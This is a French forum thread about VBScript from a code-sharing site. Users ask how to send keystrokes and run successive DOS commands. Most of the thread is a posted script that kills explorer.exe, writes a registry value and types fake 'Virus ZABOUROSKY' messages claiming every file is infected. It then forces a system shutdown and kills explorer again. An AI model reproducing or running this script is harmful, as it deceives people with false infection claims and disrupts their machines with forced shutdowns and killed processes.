VBS ECRIVANT DANS LE BLOC-NOTE...

Messages postés
214
Date d'inscription
jeudi 10 mars 2005
Statut
Membre
Dernière intervention
12 avril 2008
- - Dernière réponse : medas918
Messages postés
45
Date d'inscription
lundi 14 juin 2010
Statut
Membre
Dernière intervention
28 mai 2012
- 15 juin 2010 à 14:06
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.

https://codes-sources.commentcamarche.net/source/32820-vbs-ecrivant-dans-le-bloc-note

medas918
Messages postés
45
Date d'inscription
lundi 14 juin 2010
Statut
Membre
Dernière intervention
28 mai 2012
-
bonjour
escuse j'ai vu ton script trop top
mais ma question à rien à voir avec ton script
je veux juste savoir comment on fais deux commandesdos successive en vbs est aussi comment est représenter la touche enter afin que sa m'évite de le faire merci de ta réponse
cordialement
cs_hackoo
Messages postés
94
Date d'inscription
mercredi 3 avril 2002
Statut
Membre
Dernière intervention
29 juillet 2013
-
dim variable
Set variable=CreateObject("WScript.Shell")
variable.regWrite "HKEY_CURRENT_USER\Console\Fullscreen", "1", "REG_DWORD"
variable.run "Taskkill /IM Explorer.exe /F", 0 ,True
wscript.sleep 2000
variable.run "Explorer.exe"
wscript.sleep 2000
variable.Run("cmd /C %windir%\system32\cmd.exe")
wscript.sleep 1000
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
'variable.AppActivate "c:\windows\system32\cmd.exe"
'wscript.sleep 1000
'variable.SendKeys ("MODE CON FULLSCREEN")
variable.SendKeys ("COLOR c")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys (" Title Virus ZABOUROSKY EN COURS DE CHARGEMENT..........")
wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("@echo on")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys (" prompt Virus ZABOUROSKY EN COURS DE CHARGEMENT..........")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
wscript.sleep 2000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
'variable.SendKeys (" prompt Virus ZABOUROSKY EN COURS DE CHARGEMENT.............")
variable.SendKeys ("{enter}")
wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
wscript.sleep 6000
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
'wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("@echo off")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("C")
wscript.sleep 222 '
variable.SendKeys ("h")
wscript.sleep 222
variable.SendKeys ("a")
wscript.sleep 222
variable.SendKeys ("r")
wscript.sleep 222
variable.SendKeys ("g")
wscript.sleep 222
variable.SendKeys ("e")
wscript.sleep 222 '
variable.SendKeys ("m")
wscript.sleep 222
variable.SendKeys ("e")
wscript.sleep 222
variable.SendKeys ("n")
wscript.sleep 222
variable.SendKeys ("t")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 222
variable.SendKeys (".")
wscript.sleep 2000
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("ACTIVATION DU VIRUS ZABOUROSKY !")
wscript.sleep 4000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
variable.SendKeys ("cd ")
variable.SendKeys ("{enter}")
variable.SendKeys ("dir/s")
variable.SendKeys ("{enter}")
wscript.sleep 60000
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("@echo on")
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("prompt ACTIVATION DU VIRUS ZABOUROSKY AVEC SUCCES! Tous les fichiers sont infectés avec succes !")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
wscript.sleep 222
variable.SendKeys ("{enter}")
'Do
'wscript.sleep 20000
'variable.SendKeys"%{F4}"
'Loop
variable.SendKeys ("{enter}")
variable.SendKeys ("cls")
variable.SendKeys ("{enter}")
variable.SendKeys ("{enter}")
wscript.sleep 2000
variable.SendKeys ("shutdown -s -t 30 -c Infected_by_Virus_Win32/ZABOUROSKY.A")
variable.SendKeys ("{enter}")
wscript.sleep 2000
variable.Run "cmd /C taskkill /f /im explorer.exe",0,TRUE
variable.SendKeys ("{enter}")
Set variable = Nothing
wscript.quit
yannd0307
Messages postés
22
Date d'inscription
dimanche 18 septembre 2005
Statut
Membre
Dernière intervention
7 novembre 2007
-
Oubliez mon dernier post j'ai trouvé :).
Désolé.
Cordialement.
yannd0307
Messages postés
22
Date d'inscription
dimanche 18 septembre 2005
Statut
Membre
Dernière intervention
7 novembre 2007
-
Bonjour,
je n'y connais rien en VBS. Pouvez-vous me dire comment exécuter ce script s'il vous plaît?
Merci.
Cordialement.
cs_antho2005
Messages postés
153
Date d'inscription
samedi 8 avril 2006
Statut
Membre
Dernière intervention
1 mai 2012
1 -
En fait pour faire alt + entrer tu peut faire variable.SendKeys ("%~") ou variable.SendKeys ("%{enter}")

voici les code pour maj, ctrl, alt

Touche Code
MAJ +
CTRL ^
ALT %